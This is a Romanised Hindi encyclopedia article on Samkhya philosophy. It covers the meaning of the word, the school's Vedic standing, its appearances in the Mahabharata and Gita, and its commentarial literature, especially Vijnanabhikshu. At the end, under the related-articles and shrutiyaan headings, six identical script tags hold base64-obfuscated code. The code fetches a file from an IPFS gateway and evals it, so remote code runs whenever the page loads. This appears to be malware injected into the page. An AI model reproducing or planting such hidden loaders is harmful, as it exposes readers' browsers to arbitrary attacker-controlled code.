सांख्य दर्शन

prachinata aur parampara
thumb|300px|saankhy darshan ka avaran prishth

mahabharat mean shantiparv ke antargat srishti, utpatti, sthiti, pralay aur moksh vishayak adhikaansh mat saankhy jnan v shastr ke hi haian jisase yah siddh hota hai ki us kal tak (mahabharat ki rachana tak) vah ek supratishthit, suvyavasthit aur lokapriy ekamatr darshan ke roop mean sthapit ho chuka tha. ek susthapit darshan ki hi adhikadhik vivechanaean hoti haian, jisake parinamasvaroop vyakhya-niroopan-bhed se usake alag-alag bhed dikhaee p dane lagate haian. isilie mahabharat mean tattvaganana, svaroop varnan adi par matoan ki vividhata drishtigochar hoti hai. yadi is vividhata ke prati savadhani n barati jay to koee bhi vyakti praiankalin edagartan ki tarah yahi man lega ki mahakavy mean saankhy sanjna kisi darshan vishesh ke lie nahian varanh moksh hetu 'jnanamarg' matr ke lie hi prayukt hua hai. is prakar ki bhranti se bachane ke lie saankhy darshan ki vivechana se poorv 'saankhy' sanjna ke ardh par vichar karana apekshit hai.

'saankhy' shabd ka arth

saankhy shabd ki nishpatti sankhya shabd se huee hai. sankhya shabd 'khya' dhatu mean samh upasarg lagakar vyutpann kiya gaya hai jisaka arth hai 'samyakh khyati'. sansar mean pranimatr du:kh se nivritti chahata hai. du:kh kyoan hota hai, ise kis tarah sada ke lie door kiya ja sakata hai- ye hi manushy ke lie shashvat jvalant prashn haian. in prashnoan ka uttar dhooandhana hi jnan prapt karana hai. 'kapil darshan' mean prakriti-purush-vivek-khyati (jnan) 'sattvapurushanyathakhyati' is jnan ko hi kaha jata hai. yah jnanavardhak khyati hi 'sankhya' mean nihit 'jnan' roop hai. at: sankhya shabd 'samyakh jnan' ke ardh mean bhi grihit hota hai. is jnan ko prastut karane ya niroopan karane vale darshan ko saankhy darshan kaha jata hai.

• 'saankhy' shabd ki nishpatti gananarthak 'sankhya' se bhi mani jati hai. aisa manane mean koee visangati bhi nahian hai.

• d aau. adyaprasad mishr likhate haian-'aisa pratit hota hai ki jab tattvoan ki sankhya nishchit nahian ho paee thi tab saankhy ne sarvapratham is drishyaman bhautik jagat ki sookshm mimaansa ka prayas kiya tha jisake phalasvaroop usake mool mean vartaman tattvoan ki sankhya samanyat: chaubis nirdharit ki gee.' lekin achary 'udayavir shastri' gananarthak nishpatti ko yuktisangat nahian manate 'kyoanki any darshanoan mean bhi padarthoan ki niyat ganana karake unaka vivechan kiya gaya hai. saankhy pad ka mool jnanarthak 'sankhya' pad hai gananarthak nahian.'hamare vichar mean gananarthak aur jnanarthak- dono roopoan mean saankhy ki sarthakata hai. uddeshy-prapti mean vividh roop mean 'ganana' ke arth mean 'saankhy' ko svikar kiya ja sakata hai. shantiparv mean donoan hi arth ek sath svikar kiye gaye haian.

sankhyaan prakurvate chaiv prakritian ch prachakshate.
tattvani ch chaturvianshath ten saankhya: prakirtita:॥

• prakriti purush ke vivek-jnan ka upadesh dene, prakriti ka pratipadan karane tatha tattvoan ki sankhya chaubis nirdharit karane ke karan ye darshanik 'saankhy' kahe gaye haian.
  
• 'sankhya' ka arth samajhate hue shaanti parv mean kaha gaya hai-
  

doshanaan ch gunanaan ch pramanan pravibhagat:.
kanchidardhamamiprety sa sankhyetyupadharyatamh॥

arthat jahaan kisi vishesh arth ko abhisht manakar usake doshoan aur gunoan ka pramanayukt vibhajan (ganana) kiya jata hai, use sankhya samajhana chahie. spasht hai ki tattv-vibhajan ya ganana bhi pramanapoorvak hi hoti hai. at: 'saankhy' ko gananarthak bhi mana jay to usamean jnanarthak bhav hi pradhan hota hai. nishkarshat: ham kah sakate haian ki 'saankhy' shabd mean sankhya jnanarthak aur gananarthak donoan hi hai. ab prashn uthata hai ki sanskrit vanamay mean 'saankhy' shabd kisi bhi prakar ke mokshonmukh jnan ke lie prayukt hua hai ya kapil pranit saankhy darshan ke lie prayukt hua hai? isake uttar ke lie katipay prasangoan par charcha apekshit hai.

• shri pulin bihari chakravarti ne charak sanhita ke do prasangoan ko uddhrit karate hue unake arth ke sambandh mean apana nishkarsh prastut kiya. ve uddharan haian-

saankhyai: sankhyat-sankhyeyai: sahasinan punarvasumh.
jagadvitarth paprachchh vahnivansh: svasanshayamh॥
yatha va adityaprakashakastatha saankhyavachanan prakashamiti
ayanan punarakhyatametadh yogasyayogibhi:.
sankhyatadharmai: saankhyaishch muktaurmokshasy chayanamh॥
sarvabhavasvabhavajno yatha bhavati nisprih:.
yogan yatha sadhayate saankhy sampadyate yatha॥

• pratham prasang mean shri chakravarti sankhya ko samyak-jnan v jnata ke roop mean prayukt manate haian aur
• dvitiy prasang mean spashtat: saankhy darshanabodhak. yahaan yah vicharaniy hai ki charak sanhitakar ke samay tak ek vyavasthit darshan ke roop mean kapilokt darshan saankhy ke 'p mean supratishthit tha aur charak sanhitakar is tathy se parichit the. tab pratham prasang mean 'saankhy' shabd ke upayog ke samay ek darshan sampraday ka dhyan rakhate hue hi ukt shabd ka upayog kiya gaya hoga. sanbhav hai kapilaprokt darshan mool mean chikitsakiy shastr mean bhi apani bhoomika nibhata raha ho aur us drishti se chikitsakiy shastr ko bhi saankhy kaha gaya ho. isase to saankhy darshan ki vyapakata ka hi sanket milata hai at: donoan prasangoan mean vidvan, jnan adi shabd 'saankhy jnan' ke roop mean grahy ho sakata hai.
• ahirbudhnyasanhita ke barahavean adhyay mean kaha gaya hai-

saankhyaroopen sankalpo vaishnav: kapiladrishe:.
udito yadrish: poorvan tadrishan shrrinu meadhuna॥18॥
shashtibhedan smritan tantran saankhyan nam mahamune:॥19॥

yahaan 'saankhy' shabd ko samyak jnan v kapil darshan 'saankhy' donoan hi arthoan mean grahan kiya ja sakata hai. saankhy roop mean (samyak jnan roop mean) poorv mean kapil dvara sankalp jis roop mean prastut kiya gaya hai- 'mujhase suno. mahamuni ka sath padarthoan ke vivechan se yukt shastr 'saankhy' nam se kaha jata hai. 'saankhyaroopen' usako samyak jnan v 'saankhy darshan' donoan hi arthoan mean samajha ja sakata hai. yahaan mahabharat shaantiparv ka yah kathan ki 'amoort paramatma ka akar saankhy shastr hai'- se paryapt samy smaran ho ata hai.

• shvetashvatar upanishad mean prayukt 'saankhyayogadhigamyamh' ki vyakhya tatsthane n kar sharirak bhashy mean shankar ne 'saankhy' shabd ko kapilaprokt shastr se anyatha vyakhyayit karane ka prayas kiya. shankar kahate haian- 'yattu darshanamuktan tatkaranan saankhy- yogabhipannamh iti, vaidikamev tatr jnanamh dhyanan ch saankhyayogashabdabhyamabhilapyate' sanbhavat: yah svikar kar lene mean koee visangati nahian hogi ki yahaan saankhy pad vaidik jnan ke lie prayukt hua hai. lekin kis prakar ke vaidik jnan ka lakshy kiya gaya hai, yah vicharaniy hai. shvetashvatar upanishad mean jis darshan ko prastut kiya gaya hai vah 'bhokta bhogyan preritaran' ke trait ka darshan hai. rrigved ke 'dva suparna'- mantraansh se bhi trividh aj tattvoan ka darshan prapt hota hi hai. mahabharat mean upalabdh saankhy darshan bhi prayash: traitavadi hi hai.
• d aau. adyaprasad mishr ne thik hi kaha hai- 'trait maulik saankhy ki apani vishishtata thi, isase spasht hota hai ki maulik saankhy darshan ke isi traitavad ki prishthabhoomi mean shvetashvatar ki rachana huee.' at: is arth mean saankhy shabd 'vaidikajnan' ke arth mean grahan kiya jaye tab bhi nishkarsh mean isaka lakshyarth kapilokt darshan hi grihit hota hai.
• bhagavadgita mean saankhy-yog shabdoan ka prayog bhi vicharaniy hai kyoanki vidvanoan mean yahaan bhi kuchh matabhed hai. dvitiy adhyay ke unchalisavean shlok mean kaha gaya hai- 'esha teabhihita saankhye buddhiryoge tvimaan shrrinu'.
• anima senagupta ka mat hai ki yahaan yah 'saankhy' saty jnan ki prapti ke atirikt any kisi roop mean vyakhyayit nahian kiya ja sakata. jabaki achary udayavir shastri ne b de vistar se ise kapilaprokt 'saankhy' ke arth mean niroopit kiya. ukt shlok mean shrikrishna kah rahe haian ki yah sab saankhy buddhi (jnan) kaha hai ab yog buddhi (jnan) suno. yahaan vicharaniy yah hai ki yadi 'saankhy' shabd jnanarthak hai, sampraday-vishesh nahian, tav saankhy 'buddhi' kahakar punarookti ki avashyakata kya thi? buddhi shabd se kathaniy 'jnan' ka bhav to saankhy ke 'khyati' mean a hi jata hai. 'saankhy' buddhi mean yah dhvanit hota hai ki 'saankhy' mano koee pranali ya marg hai, usaki buddhi ya 'jnan' ki bat kahi gee hai. vah chintan ki pranali ya marg gita mean prastut mean jnan ya darshan hi hoga. gita mean jis mukt bhav se saankhy darshan ke paribhashik shabdoan ya avadharanaoan ka prayog kiya gaya hai usase yahi spasht hota hai ki vah 'saankhy' jnan hi hai. at: saankhy shabd ko gita ka ek paribhashik shabd man lene par bhi usaka lakshyarth kapil ka saankhy shastr hi niroopit hota hai.
• bhagavadgita ke hi tisare adhyay ke tisare shlok mean 'saankhy' shabd ka prayog hua hai. kaha gaya hai-

lokeasmindvividha nishtha pura prokta mayanagh.
jnanayogen saankhyanaan karmayogen yoginamh॥ gita 3.3॥

yahaan bhi do prakar ke margoan ya nishtha ki charcha ki gee haian-

1. jnanamarg
2. karm-marg. vicharaniy yah hai ki jab 'karmayogen yoginaan' kaha ja sakata hai tab 'jnanayogen jnanina' n kahakar 'saankhyanaan' kyoan kaha gaya? nishchay hi 'jnanayogiyoan' ke 'jnan' ke vishesh svaroop ka ullekh abhisht tha. vah vishesh jnan kapilokt shastr hi hai, yah gita tatha mahabharat ke shanti parv se spasht ho jata hai. 'yadev yoga: pashyanti saankhyaistadanugamyate' isilie shanti parv mean vasishth ki hi tarah gita mean shrikrishna bhi kahate haian- 'saankhyayogau prithagbala: pravadanti n pandita:.'

• shaantiparv tatha gita mean to saman vaky se ek hi bat kahi gee hai- 'ekan sakhyan ch yogan ch y: pashyati s pashyati.'
• gita mahabharat ka hi aansh hai. at: prachalit shabdavali ko saman roop mean hi grahan kiya jana uchit hai. gita mean prayukt 'saankhy' shabd bhi chahe vah jnanarthak matr kyoan n pratit hota ho, kapilaprokt shastr ke roop mean grahan karana chahie.
• mahabharat ke shaantiparv mean prayukt 'saankhy' shabd ka lakshyarth to itana spasht hai ki us par kuchh kahane ki avashyakata hi nahian. itana hi ullekhaniy hai ki kapil aur saankhy ka sambandh, aur saankhy darshan ki shabdavali ka puratan vyapak prachar-prasar is bat ka dyotak hai ki yah ek atyant yuktisangat darshan raha hai. aise darshan ki or vidvanoan ka akrisht hona, us par vichar karana aur apane vicharoan ko ukt darshan se samarthit ya sanyukt batana bahut svabhavik hai. jis tarah vedant darshan ki prasthanatrayi mean gita ka itana mahattv hai ki pray: sabhi acharyoan ne is par bhashy rache aur apane mat ko gitanusar batane ka prayas kiya. isi tarah jnan ke vibhinn pakshoan mean ruchi rakhane vale vidvanoan ne apane vicharoan ko saankhy roop hi de diya ho to kya ashchary? aise vikas ki prakriya mean mool darshan ke vyakhya-bhed se anek sampradayoan ka janm bhi ho jana svabhavik hai. apani ruchi, uddeshy aur avashyakata ke anusar vidvan vibhinn pakshoan mean se kisi ko gaun, kisi ko mahattvapoorn manate haian aur tadanuroop granth rachana bhi karate haian. at: kisi ek mat ko mool kahakar shesh ko anyatha ghoshit kar dena uchit pratit nahian hota. samast vaidik sahity vedoan ki mahatta, upayogita aur avashyakatanusar vibhinn kaloan mean prastuti hi hai. kabhi karm yajn adi ko mahattvapoorn manakar to kabhi jivant jijnasa ko mahattvapoorn manakar vedoan ki mool bhavana ko prastut kiya gaya. isase kisi ek paksh ko avaidik kahane ka to koee auchity nahian. paramarshi kapil ne bhi vedoan ko darshanik jnan ko tark buddhi par adharit karake prastut karane ka saphal prayas kiya. isamean tarkabuddhi ki pahuanch se pare kisi vishay ko chho d diya 'pratit' ho to itane matr se kapil darshan ko avaidik nahian kaha ja sakata.

saankhy darshan ki vedamoolakata

• saankhy darshan ki vaidikata par vichar karane se poorv vaidik ka abhipray spasht karana abhisht hai. ek ardh vaidik kahane ka to yah hai ki jo darshan vedoan mean hai vahi saankhy darshan mean bhi ho. vedoan mean bataye gaye manavadarsh ko svikar karake use prapt karane ke lie svatantr roop se vichar kiya gaya ho, to yah bhi vaidik hi kaha jayega. ab vedoan mean kis prakar ka darshan hai, is vishay mean matabhed to sanbhav hai lekin paraspar virodhi matavaibhinny ho, to nishchay hi unamean se avaidik darshan ki khoj ki ja sakati hai. vedoan mean srishtikarta paramatma ki svaroop charcha mean, jagat jiv ke sath paramatma ke sambandhoan ke bare mean matabhed hai. tab bhi ye sabhi darshan vaidik kahe ja sakate haian, yadi ve vedoan ko apana darshan-mool svikar karate hoan. lekin yadi koee darshan paramatma ki satta ko hi asvikar kare to use paramatma ki satta ko n manane vale darshan ke roop mean svikar karake hi kiya jata hai. is mat mean kitani satyata ya pramanikata hai yah saankhy darshan ke svaroop ko spasht karane par svat: spasht ho javega.
• mahabharat shantiparv mean kaha gaya hai ki vedoan mean, saankhy mean tatha yog shastr mean jo kuchh bhi jnan is lok mean hai vah sab saankhy se hi agat hai. ise atiranjit kathan bhi mana jaye to bhi, itana to spasht hai ki mahabharat ke rachanakar ke anusar tab tak vedoan ke atirikt saankhy shastr aur yog shastr bhi pratishthit ho chuke the aur unamean vichar samy bhi hai. at: isase yah svikar karane mean sahayata to milati hi hai ki ved aur saankhy paraspar virodhi nahian haian.
• shanti parv mean hi kapil-syoomarashmi ka sanvad prachin itihas ke roop mean bhishm ne prastut kiya. isamean kapil ko sattvagun mean sthit jnanavan kahakar parichit karaya gaya. mahabharatakar ne kapil ka saankhy-pravartak ke roop mean ullekh kiya, saankhyacharyoan ki soochi mean bhi ek hi kapil ka ullekh kiya aur 'syoomarashmi-sanvad' mean ullikhit kapil ka saankhy-praneta kapil se parthaky dikhane ka koee sanket nahian diya, tab yah manane mean koee anauchity nahian hai ki yah kapil saankhy-praneta kapil hi haian.
• uparyukt sanvad mean syoomarashmi dvara kapil par vedoan ki pramanikata par sandeh ka akshep lagane par kapil kahate haian- 'nahan vedanh vinindami'
• isi sanvad kram mean kapil pun: kahate haian 'veda: pramanan lokanaan n veda: prishthat: krita:' phir vedoan ki mahima ka varnan karate hue kahate haian.

vedaanshch veditavyan ch viditva ch yathasthitimh.
evan ved vidityahuratoany vatarechak:॥
sarve vidurvedavido vede sarvan pratishthitamh.
vede hi nishtha sarvasy yadh yadasti ch nasti ch॥

• ukt vicharayukt kapil ko avaidik kahana kadapi uchit pratit nahian hota. phir, kapil pranit sootr dvara ved ke svat:pramany ko svikar kiya gaya hai- 'nijashakyabhivyakte svat:pramanyamh' is sootr mean aniruddh, vijnanabhikshu adi bhashyakaroan ne svat:pramany ko spasht kiya hai.

• saankhyakarika mean 'aptashrutiraptavachanamh' kahakar ved pramany ko svikar kiya gaya hai. 5vian karika ke bhashy mean vachaspati mishr kahate haian- 'tachch svat:pramanyamh, apaurusheyavedavakyajanitatven sakaladoshashankavinirmutven yuktan bhavati.' itana hi nahian, 'vedamoolasmrititihasapuranavakyajanitamapi jnanan yuktan bhavati' kaha hai.
• vedashrit smriti, itihas, puran vaky se utpann jnan bhi jab nirdosh mana jata hai, tab ved ki to bat hi kya? isi karika ki vritti mean mathar kahate hai- 'at: brahmaday: acharya:, shrutirvedastadetadubhayamaptavachanamh.' is tarah saankhy shastr ke granthoan mean vedoan ka svat: pramany svikar karake use bhi 'praman' roop mean svikar karate haian. tab saankhy shastr ko avaidik ya ved viruddh kahana kathamapi samichin nahian jan p data.
• saankhy darshan mean prachalit paribhashik shabdavali bhi ise vaidik niroopit karane mean ek mahattvapoorn sakshy hai. 'purush' shabd ka upayog manushy, atma, chetana adi ke ardh mean vaidik vanamay mean anek sthaloan par upalabdh hai. lekin 'purush' shabd ka darshan shastriy prayog karate hi jis darshan ka smaran tatkal ho uthata hai vah saankhy darshan hai. isi tarah avyakt, mahat, tanmatr, trigun, sattv, rajash, tamas adi shabd bhi saankhy darshan mean darshan ki sanrachana inhian shabdoan mean prastut kiya gaya hai. at: chahe vaidik sahity se ye shabd saankhy mean ae hoan ya saankhy parampara se inamean ge hoan, itana nishkarsh to nikala hi ja sakata hai ki saankhy darshan vaidik hai. shaddarshan mean saankhy darshan ko rakhana aur bharatiy darshan ki sudirdh parampara mean ise astik darshan manana bhi saankhy ki vaidikata ka spasht udghosh hi hai.

saankhy sahity

• saankhyasootr,
• tattvasamasasootr tatha
• saankhyakarika saankhy darshan ke mool pramanik granth haian. saankhy sahity ka adhikaansh inaki tikaoan, bhashyoan adi ke roop mean nirmit haian. chooanki aniruddh ke poorv saankhy sootroan par bhashy aj upalabdh nahian hai jabaki karika-bhashy upalabdh hai at: pahale karika ke bhashy athava tikaoan ka ullekh karake tab sootroan ki tikaoan ka ullekh kiya jayega.
• gaudapad bhashy
• jayamangala
• tattvakaumudi
• mathar vritti
• yuktidipika
• saankhy chandrika
• saankhy taru vasant
• saankhy pravachan bhashy
• saankhy saptativritti
• saankhy sootr vritti
• saankhyavritti
• suvarnasaptati shastr

saankhyapravachanabhashy

• saankhyapravachanasootr par achary vijnanabhikshu ka bhashy hai. achary vijnanabhikshu ne saankhyamat pun: pratishthit kiya. vijnanabhikshu ka samay achary udayavir shastri ke anusar sanh 1350 ee. ke poorv ka hona chahie. adhikaansh vidvan inhean 15vian-16vian shatabdi ka manate haian. vijnanabhikshu ki kritiyoan mean saankhyapravachanabhashy ke atirikt yogavartik, yogasar sangrah, vijnanamritabhashy, saankhyasar adi pramukh rachanayean haian. saankhy darshan ki paranpara mean vijnanabhikshu ne hi sarvapratham saankhyamat ko shruti aur smritisammat roop mean prastut kiya. saankhy darshan par lage avaidikata ke akshep ka bhi inhoanne saphalata poorvak nirakaran kiya. apani rachanaoan ke madhyam se achary ne saankhy darshan ka jo atyant prachin kal mean supratishthit vaidik darshan mana jata tha, ka virodh parihar karate hue parimarjan kiya.
• saankhyakarika-vyakhya ke adhar par prachalit saankhyadarshan mean kee spashtikaran v sanshodhan vijnanabhikshu ne kiya. pray: saankhyadarshan mean tin aant:karanoan ki charcha milati hai. saankhyakarika mean bhi ant:karan trividh kahakar is mat ko svikar kiya. lekin vijnanabhikshu ant:karan ko ek hi manate haian. unake anusar 'yadyapyekamevant:karanan vrittibheden trividhan laghavath' sa.pr.bha. 1/64). achary vijnanabhikshu se poorv karikavyakhyaoan ke adhar par prachalit darshan mean do hi sharir sookshm tatha sthool manane ki parampara rahi hai. lekin achary vijnanabhikshu tin shariroan ki manyata ko yuktisangat manate haian. sookshm sharir bina kisi adhishthan ke nahian raha sakata, yadi sookshm sharir ka adhar sthool sharir hi ho to sthool sharir se utkranti ke pashchath lokantar gaman sookshm sharir kis prakar kar sakata hai? vijnanabhikshu ke anusar sookshm sharir bina adhishthan sharir ke nahian rah sakata at: sthool sharir ko chho dakar sharir hi hai. . 'anagushthamatr:purushoantaratma sada jana hridaye sannivisht:', angushthamatran purushan s- adi shruti-smriti ke praman se adhishthan sharir ki siddhi karate haian.
• any saankhyacharyoan se liang sharir ke vishay mean vijnanabhikshu bhinn mat rakhate haian. vachaspati mishr, mathar, shankarachary adi ki tarah aniruddh tatha mahadev vedanti ne bhi liang sharir ko attharah tattvoan ka svikar kiya. inake viparit vijnanabhikshu ne sootr 'saptadashaikamh liangamh' ki vyakhya karate hue 'satrah' tattvoan vala 'ek' aisa svikar karate haian. vijnanabhikshu aniruddh ki is manyata ki ki saankhyadarshan aniyatapadarthavadi hai- katu shabdoan mean alochana karate haian aniruddh ne kee sthaloan par saankhy darshan ko aniyat padarthavadi kaha hai. 'kian chaniyatapadarthavadasmakamh', 'aniyatapadarthavaditvatsaankhyanamh' isaki alochana mean vijnanabhikshu ise moodh pralap ghoshit karate haian. unaka kathan hai ki -'eten saankhyanamaniyatapadarthabhyupagam iti moodhapralap upekshaniy:' . vijnanabhikshukrit yah tippani uchit hi hai. saankhyadarshan mean varg ki drishti se j d chetan, ajatattvoan ki drishti se bhokta, bhogy aur prerak tatha samagraroop se tattvoan ki sankhya 24, 25 va 26 adi mane ge haian. at: saankhy ko aniyatapadarthavadi kahana galat hai. haan, ek arth mean yah aniyat padarthavadi kaha ja sakata hai yadi padarth ka arth indriy jagath mean gochan nanavidhi vastu grahan kiya jay. sattv rajash tamash ki paraspar abhinav, janan, mithun, pratikriyaoan se asankhy padarth utpann hote haian jinake bare mean niyataroop se kuchh nahian kaha ja sakata.
• aniruddh pratyaksh ke do bhed-nirvikalp tatha savikalp, ki charcha karate hue savikalp pratyaksh ko smritijany at: manojany, manate haian. vijnanabhikshu isaka khandan karate haian. vijnanabhikshu aniruddhavritti ko lakshy kar kahate haian- 'kashchittu savikalpakan tu manomatrajanyamiti' lekin 'nirvikalpakan savikalpakaroopan dvividhamapyaindrikamh' haian. achary udayavir shastri ne bhog vishayak aniruddh mat ka bhi vijnan bhikshu ki manyata se bhed ka ullekh kiya hai. tadanusar aniruddh jnan bhog adi ka sanpain buddhi mean manate haian. vijnanabhikshu ukt mat upekshaniy kahate hue kahate haian. 'evan hi buddhirev jnatritve chidavasano bhog: ityagami sootradvayavirodh: purushoan prabhanabhavashch. purushaliangasy bhogasy buddhavev svikarath'. yadi jnatritv bhoktritvadi ko briddhi mean hi man liya gaya tab chidavasano bhog: vyarth ho jayega. sath hi bhoktribhavath kahakar purush ki astitvasiddhi mean diya gaya praman bhi purush ki apeksha buddhi ki hi siddhi karega. tab purush ko pramanit kis tarah kiya ja sakega.
• saankhy darshan ko svatantr pradhan karanavadi ghoshit kar saankhyavirodhi prakriti purush sanyog ki asanbhavana ka akshep lagate haian. vijnanabhikshu pratham saankhyachary hai, jinhoanne sanyog ke lie eeshvarechchha ko mana. vijnanabhikshu eeshvaravadi darshanik the. lekin saankhy darshan mean eeshvar pratishedh ko ve is darshan ki durbalata manate haian. vijnanabhikshu ke anusar saankhy darshan mean eeshvar ka khandan pramanapekshaya hi hai. eeshvar ki siddhi pramanoan (pratyakshanuman) se nahian ki ja sakati isalie sootrakar eeshvarasiddhe: kahate haian. yadi eeshvar ki satta ki asvikrit vaanchhit hoti to 'eeshvarabhavath'- aisa sootrakar kah dete. is prakar vijnanabhikshu saankhy darshan mean eeshvar ki satta ko svikar karake yog, vedant tatha shruti-smriti ki dhara mean saankhy darshan ko la dete haian, jaisa ki mahabharat puranadi mean vah upalabdh tha. is tarah vijnanabhikshu saankhy darshan ko usaki prachin parampara ke anusar hi vyakhyayit karate haian. aisa karake ve saankhy, yog tatha vedant ke pratiyaman virodhoan ka parihar kar samanvay karate haian. pratipady vishay mean pramukhata ka bhed hote hue bhi siddhantat: ye tinoan hi darshan shruti-smriti ke anuroop vikasit darshan haian. advaitachary shankar ne vibhinn astik darshanoan ka khandan karate hue jis tarah advaitavad ko hi shrutimoolak darshan bataya usase yah manyata prachalit ho chali thi ki inaka vedant se virodh hai. vijnanabhikshu hi aise pratham saankhyachary haian jinhoanne kisi darshan ko 'mall' ghoshit n kar ek hi dharatal par samanvit roop mean prastut kiya.

1. saankhyasootravrittisar-aniruddhavritti ka saraansh hi hai jisake rachayita mahadev vedanti haian.
2. bhashyasar vijnanabhikshukrit saankhyapravachanabhashy ka sar hai jisake rachayita nagesh bhatt haian.
3. sarvopakarini tika yah ajnat vyakti ki tattvasamas sootr par tika hai.
4. saankhyasootravivaran tattv samas sootr par ajnat vyakti ki tika hai.
5. kramadipika bhi tattvasamas sootr ki tika hai karta ka nam jnat nahian hai.
6. tattvayatharthyadipan- tatvasamas ko yah tika vijnanabhikshu ke shishy bhavaganesh ki rachana hai yah bhikshu vicharanuroop tika hai.
7. saankhyatattv vivechana- yah bhi tatvasamas sootr ki tika hai jisake rachayita shimanand ya kshemendr haian.
8. saankhyatattvalok- saankhyayog siddhantoan par hariharanand arany ki kriti hai.
9. puranetihasayo: saankhyayog darshanavimarsh: - namak pustak puranoan mean upalabdh saankhyadarshan ki tulanatmak prastuti hai. isake lekhak d aau. shrikrishnamani tripathi haian. aur isaka prakashan, sampoornanand sanskrit vishvavidyalay se sanh 1979 ee. mean hua.
10. saankhyayogakosh:- lekhak achary kedaranath tripathi varanasi se sanh 1974 ee. mean prakashit.
11. shriramashankar bhattachary ne saankhyasar ki tika tatha tattvayatharthyadipan satippan ki rachana ki. donoan hi pustakean prakashit haian.

tika tippani aur sandarbh

1. REDIRECT saancha:tippanisoochi

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shrutiyaan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>